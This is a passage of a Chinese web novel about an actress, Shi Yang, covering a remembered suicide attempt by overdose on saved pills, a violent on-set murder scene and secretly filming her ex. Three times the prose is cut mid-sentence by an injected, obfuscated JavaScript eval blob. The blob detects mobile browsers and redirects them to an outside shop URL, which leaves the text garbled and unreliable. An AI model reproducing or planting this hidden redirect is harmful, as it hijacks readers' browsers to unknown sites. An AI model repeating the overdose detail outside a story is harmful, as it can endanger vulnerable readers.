但随着她不断长大,江风华眼里的情绪越来越浓烈,她避无可避地感受到了:江风华厌恶她,埋怨她,恨不得她去死,虽然她什么也没做错。 当晚,时扬有意识地多吃了几粒药,第二天一起床,果然浑浑噩噩。 她任由失控了的意识支配着她,带着她去了小时候住的地方:外婆的家。 三十多年房龄的房子,没经过妥善修缮和维护,还处在中年的岁数,就已经老旧得没法看。 房屋里空无一人,一踏进去就扬起一阵灰尘,蒙在时扬本就不清醒的视线前,让她看得更艰难。 外婆早就不在了,她已经死了十多年。 梦里的最后,下午时分,时扬登上一座高高的山,穿过高度到人腰间的芦苇,空气中,浅黄色的芦苇花四处飘荡。 她精神不济,分明知道那是一朵朵的细小芦苇花,可等到凝神一看,那些细细小小的绒状花朵,突然又变成了一张张的黄色纸钱。 她穿了个冲锋衣在那山里找了很久很久,冲锋衣挡住了身体,却没挡住她的脸,芦苇叶的边缘锋利尖锐,偶然擦过脸颊,留下一道道狭长口子。 终于在下午日头正盛的时候,时扬在一棵老槐树下找到一座荒芜的坟茔。 坟茔位置在半山腰上,对面是绵延无尽的群山,脚下是华丽缎带一般、一条又一条的梯田,在刺目的阳光下散发出耀眼的光芒。 面山环水,是个好去处。 十多年前,外婆得了这个好去处,十多年后,她沾了外婆的光,也要在这里安眠。 时扬的登山包里背了她平时攒下的药,每次医生都担心她的精神状况出问题,害怕她哪天失控,所以开药开得极为吝啬。 一个陌生人都担心她的精神状况,反而是她的父母和弟弟一点儿也不在意,想到这里,时扬嘲讽地笑了笑。 这些药本来是她想要慢慢好转病情,有意识地控制药物摄入的,所以每次发作了,她都尽可能的减量,能少吃就少吃。 可谁又能想到,病情没能控制住,求生的本能也丧失了,反而这些攒下来的药最后还陪着她,并护送她上路。 时扬在外婆的坟茔前清理开了一小片空地,她倒在芦苇丛里,躺在弯折在地的芦苇杆上,手边不远处是空了的药瓶,瓶盖被她胡乱扔进了密密麻麻的芦苇中,这会儿已经不知道去了哪里。 她仰面躺着,忽然想到一个人:苏笑。而后扯过旁边的背包,慌忙从里面拿出手机。 屏幕上的字在强烈的日光下显得黯淡,看不太清楚,但时扬凑近了,终于确认:这世上还是有人在乎她的。 【大周末的,还没起床啊?】 【起来了没?约好了十一点半见面,你不准又迟到!】 【你别动,我来你家找你!】 【你别吓我,再不回我消息,我报警了啊!】 【你在哪儿啊到底,我求求你了,接我电话吧!】 …… 每隔几分钟就有一条消息,聊天框里苏笑一上午发了四十多条,还有二十几个未接来电,全是苏笑打来的。 时扬把手机装在背包里,一条没回复。 她正打算把手机放回背包,手上动作却一顿,她想了想,编辑了人生最后一条信息。 【笑笑,对不起,我好像又迟到了。不对,我好像……永远也到不了了。】 按了发送键后,时扬不敢看对方的回复,慌忙将手机重新扔回背包里,躺回泥土地上。 穿过芦苇叶子的缝隙,阳光强势地从空隙里撒到她的脸上、身上、手臂上、眼睛里……她眯着眼睛,抬起手缓缓地挡住了刺眼的光线。 药效好像要在身体里发作了,时扬晕晕乎乎、昏昏沉沉,扬起的手掌缓缓落在她脸颊上,碰到鼻梁,一瞬间惊醒了她。 她一看,手背上已经布满了鲜血,她再用手心抹过脸颊,瞬间就沾了满手的血。 时扬这才意识到,她脸上已经是被芦苇叶子割破的细小伤口,这些伤口在她混沌的意识中硬生生劈开一道道清醒的神识。 时扬忽然翻身坐了起来,她突然想到,外婆是个爱干净的小老太太,最不喜欢谁在她的地界里弄得脏兮兮、乱七八糟。 不行,不能死在这里! 她死了不要紧,可死后的尸体会腐烂,会散发出恶臭,会生蛆,还会引来蚊子,肯定会弄脏外婆的坟地。 她不会喜欢的…… 想到这里,时扬毫不犹疑地背着登山包走了,可她不知道到底要往哪个方向走。 这一辈子,来的时候不遂心愿、跌跌撞撞,走的时候仍然忙中带乱、没个章法。 她任由混乱的意识驱使,腹中的药物要她去哪儿,她就去哪儿。 日头西落的时候,时扬到了一片极为空旷的地方,她已经分辨不清楚方向,自然也不知道到底到了哪里。 空地上没有芦苇,而是铺满了一整片到她小腿处的青绿色野草,其中间或夹杂着几朵拇指大小的花,一簇簇地环抱在一起。 空地的尽头处,几株爬山虎恣意地紧紧裹住几根乱七八糟倒塌在地、大概有成人腰粗的柱子。 时扬踏入青绿色的草地,又往草地的尽头走去,她站在七零八落的废墟前,茫然无措,又觉得有几分安心。 她继续往其中走,脚尖忽然绊到一块木板一样的东西,发出一声沉闷的响声。她低头一看,原来是一块快要腐烂完的牌匾,随着她的一踢,应声裂开成了两半。 她弯腰捡起其中的一块,那木板虽然腐烂了,一捏就落下一把碎屑,青黑色的木板上依稀却还能看到两个字。 时扬看了半天,才看出来,上面写着:清虚。 她正打算将那半块木板放回原处,却见木板的底下,那不曾见过阳光的黄白色草杆伏倒在地,上面还趴着一条蚯蚓,估计是被时扬的动作惊吓,慌忙从草杆的缝隙里溜走了。 时扬却没顾上那条蚯蚓,因为黄白色草杆上,正安安静静地躺着一块青铜色的圆盘,圆盘上布满细密的痕迹。 时扬捡起那圆盘,放到面前,她盯着那上面似画又似字的痕迹,正要再看个清楚,突然一道白光闪过。 她并没有死掉,而是消失了,紧接着又出现在了另一个时空…… - 第二天刚醒来,时扬接到了白晓花的电话。 拿起手机一看,三四个未接来电,全部来自同一个人,那一瞬间,时扬感知到了:大事不妙。 出乎意料的,电话那头白晓花并没有风风火火,也没有义愤填膺,反而很平静,透着一股子诡异的气息。 “……杨威手里的项目大概率是黄了,不过别担心,我另外再给你找角色,找个更合适的。” 时扬想到她和杨威的关系,虽然杨威行为不端,但白晓花毕竟和他有交情,就想着假装关心一下,客套客套。 “听说杨导受伤了,他……没有太大的问题吧?” 说到这里,时扬顿时又想到那晚招呼到他身上的第一板子,还有板子另一头那颗她真心实意没看清楚的钉子,一下子就感同身受似的,屁股连带着后腰都隐隐疼了一下。 “我打电话问过他了,没有太大的问题,没伤到脊椎,只是有些皮外伤。” 白晓花顿了顿声,似乎不想再继续杨威的话题, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993123|193818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电话两边的人都没说话,谁也不知道怎么开口。 时扬是不知道要怎么编下去,她假装出的客套仅仅止于此,本来提到杨威就让她感觉不自在,再多客套一点,就会恶心到自己了。 白晓花则是不知道要怎么继续。 这几天杨威挨打的消息在圈子里传得火热,一个新晋导演,一颗冉冉升起的星星,正在上升期出现了这样的事情,怀疑的人有,猜测的人有,看笑话的人也有。 私底下大家纷纷讨论着,有真的相信杨威倒霉、硬生生让他碰上个歹毒流浪汉的,但更多的,其实是落井下石,还有再也不愿替他遮掩的旧事。 之前他风头大盛,没人敢招惹,因为他身后牵扯太多,自有人保,寻常人惹不起。 所以有错也变得没错。 可现在情况不一样了,他处在舆论的中心,这舆论可跟台风不一样,不是越处在台风眼里就越能安然无恙的,所以以前的各种传闻、旧事纷纷翻腾起来,将这场舆论搅得越来越浑浊,持续多天也没有停止下来的趋势。 到了这个时候,没错也变得有错了。 更何况,他杨威本就不是个干干净净、坦坦荡荡的人,他又怎么经得起这场考验? 真真假假,假假真真,分不清楚。 白晓花就是在越演越烈的这场议论中知道的,知道那个曾经跟她一起从小地方打拼出来的人早就变了模样,知道人家都点头哈腰、不要脸面地往前走了,只有她还自以为是地以为人家保持着哪怕一点的纯真心性。 其实关于杨威和某些男女演员的传闻,她白晓花不是没有听说过,但她心底早就有偏向和观点,所以每次出了这些传闻,她从来都不信,只觉得“人红是非多”,只能证明她曾经的朋友愈发出息了。 但这次不同,她在各种各样的讨论中看到越来越多的证据,越来越倒逼着她不得不相信。 并且……她再也不能自我催眠了,因为她险些将自己手底下的人送入狼口。 她突然感到一丝庆幸,庆幸杨威出了这样的事情,否则的话,下一个男女演员中被人暗中讨论的,就会是时扬了。 但庆幸的欢喜还没持续多久,白晓花顿时又想到那晚带着时扬去聚餐的情景,想到时扬欲言又止的表情。 她试探性地问道:“时扬,你告诉我,你是不是早就知道杨威的那些破事儿了?” “……嗯,知道。” “那那天晚上你为什么不——” “都是些传闻,我也没有很确凿的证据,况且你也是好心。” 白晓花还打算继续跟她掰扯一番,她非得把话说开了,但是时扬并不想继续这个话题。 “小花姐,你放心,下次再有这种情况,我肯定直接说出来,不会不信你了。” “好。” 白晓花接着又跟时扬聊了几句工作的事情,到了她嘴边的那句“对不起”怎么也没吐露,直到挂了电话也没能说出来。 今天是白晓花难得休息的日子,她正坐在阳台上的椅子上,等到挂了电话,才长长地叹了一口气。 她忽然站起身,双手搭在栏杆上,远眺前方,久久没有说话。 高楼林立,直入云霄,大楼外层的玻璃反射着刺眼的阳光,看着金碧辉煌,华光溢彩,和她的老家的小县城是完全不一样的景色。 那一扇扇玻璃倒映出过往行人的影子,他们行色匆匆,面色不一。 有人路过,旋即抬手挡住被刺激的双眼,他们明明身处于这繁华的大都市,可过了这么些年也不能适应,更不能很好地融入其中。 也有人慢慢悠悠,一脸闲适,从容自得地停在那一扇扇玻璃前面,他们衣着光鲜,看着体面,但实际上早就变了,内里已经完全腐败溃烂。 他们睁大双眼,直直地迎上阳光的光束,丝毫不畏惧它,因为他们知道:太阳底下无新事,再了不得的阳光也照不透所有的腐烂。 阴暗往往与阳光共生,腌臜总是与纯洁同存。 后者内心阴暗又如何,就算他们心里脏得哪怕生出了蛆,这片繁华的大都市仍然会选择拥抱他们,而前者,只能抱着自己那点所谓的清高,挺着那状似笔直实则脆弱的脊梁,等到了时候,就像是过街老鼠一样被他们赶出去! 因为这繁华的大都市,说到底,也是烂了根的…… 白晓花不知道自己到时候会不会被赶走,她目前只知道:杨威跟她再也不是一路人了。 10. 别藏着掖着! 两天后,是时扬开工的日子。 这次的角色不是白晓花给她找的,而是她自己去试镜得到的。 仍然是一个相当不起眼的角色,勉强能算女四号,但相比于其他的角色,时扬更喜欢。 无他,只因为这个角色有吸引她,只不过……是个所谓的反派人物——一个杀人犯。 圈子里的年轻演员大都爱惜羽毛,这些年来观众喜欢用放大镜看剧,所以稍有错误就不能翻身,哪怕是剧中角色的错误,故而他们对于反派角色都相当谨慎,尤其是流量大的、更受欢迎的。 但是时扬不一样,她既没有咖位,又不受欢迎,反而因为各种谣言受到无端的揣测和指责,所以她在选角色方面彻底放飞。 就像考试考了六十分的人,往后不管如何,只要稍稍高于六十分,混个及格,都能算是大大的进步。 古装戏的妆造比现代戏复杂得多,光是化妆做造型就花了好几个小时,等到时扬准备好了,外面天色已经暗了下来。 不过,夜黑风高,正是杀人的好时机。 时扬今晚的这场戏,按照时间顺序,处于她这条故事线靠前的位置。 女子认错了人,误以为男人有恩于她家,所以嫁给了他。 出嫁之后,新婚当夜女子才发现男人空有其表,实则是个天阉之人,不能人道。 男人自认为尊严受到折辱,心理上更加变态,妄想通过别的手段找回他从不存在的男人尊严,加之这个女人本就是自己找上来的。 既然她自甘轻贱、自以为是,那就是咎由自取,由不得他仁慈! 婚后女人夜夜受到丈夫非人的折磨,白日里还得装出一副若无其事的模样,打碎了牙往肚子里吞。 终于某一日,女人无意间知道了真相,知道丈夫并非是自己的恩人,多年来她遭受的屈辱就是一场彻头彻尾的笑话。 所以女人杀了她颇有权势的丈夫,在那个以夫为天的封建时代。 所以……时扬进组的第一场戏——杀夫。 时扬入场的时候,对手男演员已经就了位。 古色古香的寝房里陈设着一张宽大的楠木床榻,男演员此刻穿着白色的寝服斜倚在床头,左手撑着脑袋,右手拿着一个装了点自来水的白瓷酒壶。 “吱嘎——”时扬推门而入。 一进门就看到男演员迷离而显露着侵略的眼神,胸口半开的衣衫,还有扔了酒壶,勾向她的手指。 这个男演员时扬之前见过几次,私底下是个话少、看着有些高冷的人,刻板印象地讲,跟剧中的角色阴险、心理扭曲的形象有八九分相似。 看着他胸口露出的一大片白,时扬心里只有一个念头:这小子身材可以啊…… “娘子——” “停!”女导演突然出声,时扬和对手演员的动作僵在原地。 她噔噔几步跑过来,看向躺着的男演员一时半会没说话。 男演员狐疑地仰起头,“雍导?” 时扬也立在旁边,有点摸不着头脑,跟着问:“雍导您?” “啊!对了对了!”雍导突然一拍手,“柏越,你的袍子得打开一点知道吧,大家就爱看这个,别藏着掖着。” 一面说着,她的手一面伸向男演员的方向比划,惊地后者腾的一下跳起来,红着耳朵,十分上道地自己把衣襟扯得更开,领子也拉得更低。 雍导沉默看着,然后冲男演员怒了怒嘴,好像在说:你自己觉得够吗? 男演员耳朵更红了,倒是很听话,顺着导演的意思将领子拉得更低了,衣服拉得更开,直到上半身差点全部露出来。 “雍导啊,不能再往下了,再往下播不出来了……” “那行,就这样吧。” 时扬站在一旁,起初还有点不好意思,直到后来看到男演员臊得手不知道放哪里,才憋不住笑出来。 只换来对方一个暗暗的瞪眼。 嘿,现在不装高冷了? 调整之后,两人重新就位。 “娘子愣着作甚,还不过来?” 男演员放大音量,语气中有些不耐烦,抬起一对桃花眼像时扬挥了挥手,示意她赶紧过来。 时扬压抑着心头的恨意,惨白着一张脸,拖着沉重的脚步缓缓走向他。 时扬刚走到床榻前,男演员细长的手伸向了她的外袍衣带,整个外衣随之落在地上,露出里面的白色中衣。 她这些天来心里揣着事情,惴惴难安,加上饭也吃不好,所以瘦了很多,这会儿整个人在松松垮垮的长裙里晃荡,窗户外吹进来的风扫过她的衣裙,更显得整个人柔弱萧条。 但她表情冷漠,有种哀莫大于心死的绝望,又让这几分柔弱和萧条里掺了倔强凄凉,显出暴风雨来之前的平静疯感。 “怎么,这么些年了还不习惯?”男演员一边讥讽,一边站起身来,攥住时扬的手臂,“当初既是你自愿的,现在怎的又摆出这副模样,倒像是我逼迫了你一般。” 时扬仰起头,红着一双杏眼看向他,没有说话。 这场戏她全程没有任何一句台词,看似不需要提前一晚上背台词,少了很多的准备,但这恰恰是不好演绎的,因为没了语言,所有的表演就只能依托于她的动作和表情,需要她对角色有更加深刻的理解。 “呵……”男演员只觉得从她眼神中受到了挑衅,突然狠厉了眼眸,咬紧了牙,没有任何预兆地将时扬扔在床榻上。 虽然床上早就铺了一床厚实的褥子,但突然被这样一扔,还是撞得时扬一阵生疼,她忍着,将到了嘴边的痛呼吞了下去。 男演员实际上也没有太多台词,更多地是依靠动作。 只见他快步走向一旁,拿出工作人员提前准备好的玉势,又三两步返回床榻前,冷了脸,对着摔倒在床上的时扬阴狠一笑。 时扬距离他最近,看到他拿着玉势的右手微微僵硬,背对着镜头的表情也有些不自然,就连耳朵也不知道什么时候爬上几丝绯红。 模样挺好,看起来也是个男女事情上放得开的人,没想到竟然还会害羞。 时扬差点笑出声,但是她演技了得,再次忍住了。 按照剧本里的设定,时扬表情立刻浮上害怕的神色,她看了看男演员手里的玉势,条件反射一般地、哆哆嗦嗦地推到床榻的最后。 男演员弯腰,一伸手就攥住时扬的脚腕,将她拖到床沿。他粗鲁急躁地掀起时扬的衣裙,将玉势放在时扬腿间,假意做出个右手在活动的动作。 时扬脸上顿时露出痛苦到极点的表情,这痛苦极大地刺激了他,男演员流露出几分快意和满足,而时扬则从这场屈辱中克服了自己的恐惧。 阴暗的光线中,她忽然不感到害怕了,只觉得前所未有的勇气和大胆。 时扬伸手按在男演员假意握着玉势活动的手臂上,死死握住,另一只手将男演员往一旁推倒在床榻上,而后翻身而起,顺势坐在男演员的腰间。 男演员没有半点惊讶,这是他们两人提前对好的戏。 她温顺地伏倒在他身上,恭敬,谄媚,又讨好。 男演员顿时大喜,嘲讽一笑,“怎么,先前还假意反抗,温顺些,趁早认清了现实岂不轻巧许多?为什么娘子总是如此,非得等到吃了苦头,遭了罪,才顺势而下?” 时扬笑了笑,加了一句台词:“夫君说得极是。” 男演员更加得意了,伸手将时扬揽在怀中,另一只手放在时扬后背,上下抚摸。 两人正在纠缠的时候,时扬将手伸向了男演员背后的枕头,从下面掏出一把刀,然后趁着对方不注意,电光火石之间那刀快速插在了他心脏的位置。 男演员瞪大眼睛,咬破了嘴里的血包,胸口的血包也破了,随着时扬的动作,飞速地喷溅出一道血雾,浇在时扬的右脸上、锁骨上、右肩上。 时扬立时做出一个解脱又悲凉的表情。 她继续坐在男演员腰间,双肩无力地垂下,思虑了几秒钟,然后抬起双手,抖动了几下衣袖。 一对惨白的双手从衣袖里伸出来,右手的惨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993124|193818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白在血液的对比下更加触目惊心。 时扬将略略颤抖的右手放到眼前,盯着上面的血迹看了很久,然后凄然一笑,用手指抹干不知道什么时候流出的眼泪。 她脸上血液和泪水交织,看不清是痛快还是悲凉绝望。 这场戏结束了,女导演正要喊“Cut!”,时扬却一只手撑着身体,弯腰用另一只手夺过已经“死”了的男演员手里的玉势。 见状,导演伸手示意,拍摄继续。 男演员闭着双眼,不知道现场为什么安静了下来,正打算睁开眼睛,却感受到握着玉势的手被时扬按了按,然后玉势被时扬拿走,他一下子懂了,不动声色地继续演。 时扬握着玉势,眼中含泪,分明是在哭泣,但眼尾弯弯,竟然又开始笑了。 突然,她扬起脑袋,口中发出几声痛苦的呜咽,脖颈间青筋爆起,闭了双眼,将手中的玉势奋力往后一掼。 “咣当!” 玉势应声而碎,一如故事中男人自打出生之日起就不曾存在过的可笑尊严。 可只有男子需要尊严吗? 凭什么,凭什么他们可笑的尊严需要女子的尊严来做代价,他们……凭什么自认为更高贵? - “好!” 戏结束了,雍导带头鼓掌,现场紧接着响起几声叫好和鼓掌声,让时扬觉得有点尴尬和不自在。 她不好意思地笑了笑,正要回应,身下的男演员轻声提醒:“起来了。” 时扬这才意识到她还坐在人家腰上,赶紧翻身起来,站在床前,顿时觉得更加尴尬。 但任柏悦无所谓地起身,又扯了扯腰间发皱的布料。 他不知道是什么背景,向来高冷,不应酬,但是也从不因此掉资源。 听人说,这部戏里如此不重要的角色,本来不是他演的,但因为和雍导的私交,临时来救场了。 高冷的任柏悦恢复了面无表情,一句话没再说,正要离开,突然又在时扬呆愣的眼神中转过身体,若有所思地看了看她。 他张了张嘴,仿佛有什么想要问时扬,又不知道突然想到什么,闭上嘴,冲时扬点了点头,匆匆忙忙地走了,留下时扬在原地,又一次摸不着头脑。 这人到底什么毛病…… 这时候不远处的雍导向时扬招了招手,又挤了挤眼睛。 这是时扬今天唯一的一场戏,演完了就可以收工了,喜悦爬上眉梢,她乐呵呵地过去了。 雍导这会儿既满意又得意。 她对这场戏特别满意,本来这场戏就加上了她许多的个人设计,但是时扬的演绎和临场发挥让这场戏更好了。 而得意则在于,试镜当天,她在好几个女演员中愣是顶着时扬之前的谣言压力,生生力排众议,敲定了她。 现在看来,她的决定无比正确。 “你演得很好,对这场戏的理解也很到位。”语气中没有虚伪的客气,只有确信和笃定。 时扬得到了导演的肯定,想高情商地说什么“还有待改进”、“我还有进步的空间”,但她虚伪的话说不出口,就只是不好意思地挠挠头,小声说了句:“谢谢雍导。” 女导演姓雍,雍正的雍,因为要求严格、不好说话,平时私底下大家都喊揶揄地叫她“雍正”,讽刺她太拿自己当个人,以为自己是皇帝呢。 这话也无意间传进过她耳朵里,但是她不在意。 所以得到她的夸奖可不容易,她跟时扬性格有几分相似,虚伪的话说不出口,但凡说出了夸奖的话,就必定是真心实意、公公正正的赞美。 雍导什么也没再说,她想到时扬被耽搁的前两年,走上前几步,轻轻地拍了拍她的肩膀。 “回去好好休息,明天咱们继续。” 回去的路上,因为这位圈内众所周知的严肃导演的一句夸奖,也因为自己复工以来第一场戏的成功,时扬一路都飘飘然,开心得像要飞上天——直到见到前男友云帆。 准确地说,是云帆和他现任女友——木沐。 11. 你拍我干什么? 乐极生悲,刚走出片场没一刻钟,路上下起了淅淅沥沥的小雨,影视城在一片山里,夜间冷得人瑟瑟发抖。 回去的时候已经是凌晨两点,时扬打了个车,抱着双臂,瑟缩着坐在后座。 乐极更生悲,前面的司机讲究得过分,在车里喷了不知道多少香水,不太好闻的果香味弥漫在鼻尖。 时扬终于受不了,打开了车窗。 窗外的景象一幕幕地划过,她渐渐有了困意,眼皮不受控制地合上,又警惕地强忍着打开。 这个小城市虽在北京郊外,距离首都并不远,却没有首都夜间的繁华热闹,路上只有偶尔几个行人裹着外套匆匆而过。 时扬不知道是累了还是困了,视线不太能聚焦,前座的司机也不像江城的司机一样能一口气不歇地说一路,安静,昏暗,正是小憩的好时机——如果没忽然见到两个伥鬼的话。 “师傅,麻烦在前面的路口停一下!” “啊?还没到呢,大概五分钟之后——” “没事,我闲着也闲着,走着回去,您在路口停下就行。” 时扬鬼鬼祟祟地下了车,又一路鬼鬼祟祟沿着行道树,躲在粗壮的树干后,一步步靠近两人。 虽说都已经两年,按理来讲早就该放下了,但时扬一看到两个人,不知道为什么,突然就一股火气冒上心头。 小公园的六角亭子里,云帆和木沐两公婆正在昏暗的灯光下避雨。 云帆穿了件宽松版型的短风衣,正处在春季,他女朋友木沐穿得却是下一个季节的风格。 一件清凉的白色吊带,配上一条深蓝色牛仔裤,时扬远远地看着,只见木制片人一头齐肩卷发湿了个彻底,细细密密地贴在脖颈上,抱着双臂贴在云帆身旁。 “不冷啊你,穿这么少。你看你找的好男人,自己穿着外套,也不知道脱下来给你!”时扬躲在树杈子底下,小声嘀咕,同时翻了个白眼。 那白眼明显是给云帆的。 亭子底下,男人双手插在衣兜里,一会儿看着头顶昏暗的灯光,一会儿看向亭子外根本看不到的低矮木丛——不管如何,就是不看木沐。 “装货!装吧你就,特么的没种的东西!” 也不知道是不是时扬的唾骂起了作用,亭子里的男人突然福至心灵,非常“体贴”地脱下身上的风衣外套给身边的女朋友披上。 “宝贝,快穿上,别冻着了!” 木沐冻得有些发抖,上下牙齿打颤,没做推辞,连忙披上了男朋友的外套。 时扬想到以前云帆这混账东西也是这么给她披外套挡风御寒的,心里不是滋味,于是又骂道:你特么早的时候干嘛去了? “你特么早的时候干嘛去了?”不远处的阴影里,一道声音突然响起。 时扬本以为是自己出了声,害怕惊到亭子里的两人,慌忙捂住嘴巴。 这时候,阴影里的声音又响起。 “骗老子的钱给这么个玩意儿拍戏投资,现在连一件儿外套儿都难穿上,傻了吧唧的!活该你!” 这地方还有第四个人!时扬捂着嘴巴,不敢出声。 黑暗中那道声音又响起来,更加生气,“既然你自找的,也别怪我不客气,不顾及往日的情分——” “谁?”亭子里,云帆好像听到了动静,大声吼道。 阴影中那道声音顿时凝固,时扬也捂住嘴,更不敢露出马脚。 木沐扣好了风衣的纽扣,理了理湿透了的头发,“现在都快三点多了,你听错了吧,这个点儿怎么会有人?” “是吗?或许……真是我听错了。” 云帆侧头看向木沐,后者目光灼灼,瞳孔里好像溢满了情欲。 干柴碰上烈火。 时扬顾不上回忆和云帆的往昔,在亭子里的两人嘴唇碰上的一瞬间,十分干脆地打开了手机摄像头。 镜头里,一个新晋影帝,一个热门剧制片人,吻得颠鸾倒凤,吻得好像不死不休。 时扬看着镜头里两人转动的脑袋,好像她之前在家看室友兰一一拧螺丝帽和螺丝钉,一瞬间又有点想笑。 她这头忍住了笑意,另一头昏暗的行道树下,那声音再次响起:“狗男女,还我的钱!” 第三次听见这声音,时扬终于确信了——任柏悦,几个小时之前和她拍戏的所谓“夫君”。 时扬往声音发出的方向望去,只见那里透出一点手机或是相机的微光,它的主人和她一样,藏在一颗粗壮的行道树后边,偷偷拍摄着亭子里的两公母。 正在这时,亭子里激情拥吻的两人忽然放开彼此,男人将女人护在身下,用手充作雨伞,迎着淅淅沥沥地小雨,一齐走向街边的一辆出租车。 出租车一发动,溅起一道泥黄色的污水,时扬慌忙绕过粗壮的树干躲了。 几秒钟后,黑暗中的声音又响起:“没长眼睛啊,溅我一身!” 时扬终于确定:这人百分百就是任柏悦。 她身上已被小雨氤氲湿透,溅起的泥点子更没所谓。 时扬猫着身子,壮着胆子,朝那声音的方向挪去,缓缓靠近。 任柏悦一面骂骂咧咧自己被溅了一身的水,一面又小心翼翼地举着自己的相机,左顾右盼地打算撤离。 这时候,黑夜里突然一声惊呼,“嘿,任老师,好巧啊!你在干什么呢?” 时扬的手机在两公婆上车的一瞬间就已经收起来。 相机正对着时扬的脸,她一对杏眼笑意盈盈,长长的睫毛状似无辜好奇地上下扑闪,圆翘的鼻头透着几点无辜——却分明在和任柏悦一样,做着偷拍的“龌龊”事情。 镜头里忽然出现时扬的脸,她的容貌满满当当地占据了一整个镜头,连四周的声音仿佛也一下子沉下去,任柏悦的镜头里只有她一个人——他的眼里也只有她一个人。 “我……” “你拍他们两个就是,拍我干什么?我就不用出境了吧?” 话音刚落,任柏悦的镜头猛地收起来,他的高冷不再,支支吾吾道:“刚才就是关了的,你放心,没拍到你。” “那就好!”时扬将手机放在包里,向任柏悦挥了挥手,“既然没拍到我,那我就走了啊,拜拜!” “呃,嗯,拜拜!” 直到时扬走出去很远,远到绕过了路口看不见人影,任柏悦才反应过来。 “哎,你说我拍他们两个,那你又上这儿干嘛来了?” - 时扬一天内得到了导演的夸奖,又拍到了云帆的刺激视频,心里飘飘然不已,兴奋地睡不着觉。 可是——高兴得太早。 她刚洗完澡躺在床上,就收到了剧组的通知:明天跟她对戏、演她婆母的那位女演员换人了,换成了她尤其发怵的那个人。 要说在这圈子里,时扬谁也不怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993125|193818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,因为她一直以来的心态都是能演就演,不能就拉倒,大不了回家抠脚。 但是明天的这位女演员不同,时扬对她有种从心底里溢出来的害怕,与其说是害怕,倒不如说是敬畏。 因为这位女演员和她下一世的母亲江风华,模样有八九分相似,就连性格气质都有七八分类似,而且……她也姓江。 时扬从大二辍学后,很快在一次兼职的时候意外得到了个工作机会,对方邀请她当平面模特。 言之凿凿,听着极有诚意,时扬防备心重,总觉得对方不是个正经人,但她那时候又实在缺钱,最后还是去了。 谁曾想,最后平面模特没当成,反而阴差阳错地进了这行,当了个演员。 江姓演员就是她第一次拍戏时合作的人,在她根本没有一点儿演戏经历的时候和她合作——还演她的母亲。 时扬对她的阴影就是在那时候留下的。 江姓女演员是那部戏的主角,而她只是个一闪而过的角色,整部戏里只有一场戏,是完全镶边的存在。 那场戏中,母亲自觉受到家庭的束缚,在雨夜中拖着拉杆箱毅然决然地离开了家,而时扬就在里面演她正上高中的女儿。女儿拽着母亲的胳膊,跪在浑浊的雨水里,祈求母亲不要离开,但母亲还是离开了。 就这一场简单的戏,时扬却演不好,NG了无数次,演到最后现场的工作人员都开始小声抱怨。 江姓女演员倒没有责骂她,抱怨她,而是面无表情地瞥了时扬一眼,但时扬从她的眼神里看出来了:她很不耐烦,并且已经在爆发的临界点。 可能压力的确能激发动力,时扬也不知道为什么,就在江一靳那一瞥后,她破罐子破摔地演,反而莫名其妙地过了。 但江一靳的眼神却在她心里种下了根,成为她时不时隐隐害怕的源头。 现在,几年之后,这根又长出来了。 - 因为心里装着事情,时扬这一晚上又没怎么睡好。 第二天,她起了个大早。 戏份同样是在当天下午,按理来讲,她本可以睡到中午再打车去拍摄现场,但她实在睡不着。 本就因为睡不好有些晕晕乎乎、意识不清,在收到秦小凡的微信后,时扬更加坐立难安。 秦小凡:【你们那部戏是不是换人了?昨晚刚换的?】 时扬:【你上哪里知道的,我都是昨晚回家才收到信。】 秦小凡:【嗐,你别管我从哪里知道的,是不是有个角色换成江一靳了?】 时扬看到这个名字就有些有气无力,她如临大敌,只觉得下午要去奔赴刑场,偏偏秦小凡只管自己八卦,愣是要提前给她刑场演习。 时扬:【嗯,可不是。】 秦小凡:【听你这语气……不会要跟你搭戏吧?】 时扬:【演我剧里的婆母,牛吧?】 秦小凡:【……那你完蛋了,她很难搞的,脾气差死了!】 时扬不想再继续这个话题。 觉得秦小凡好像握着一把钝刀,在她脖颈上一下一下地划拉,她倒希望对方能手起刀落,可秦小凡没长心眼,每发一句话,就在她脖子上深深浅浅地割一刀。 秦小凡没察觉出时扬的精神萎靡,长长的手指在屏幕上点了又点,噼里啪啦一通输出。 看似豁达拱火,实则——心里也藏了压制不住的火气和尴尬。 12. 第二个眼神 秦小凡也和江一靳合作过。 江一靳饰演一个媒体行业的资深记者,而秦小凡在剧中饰演她带的新来的实习生。 剧里剧外都差不多,一个是扎根行业的资深老鸟,一个是刚踏入圈子的新人菜鸟。 江一靳脾气实在不好,可那时秦小凡的演技也着实上不了台面。 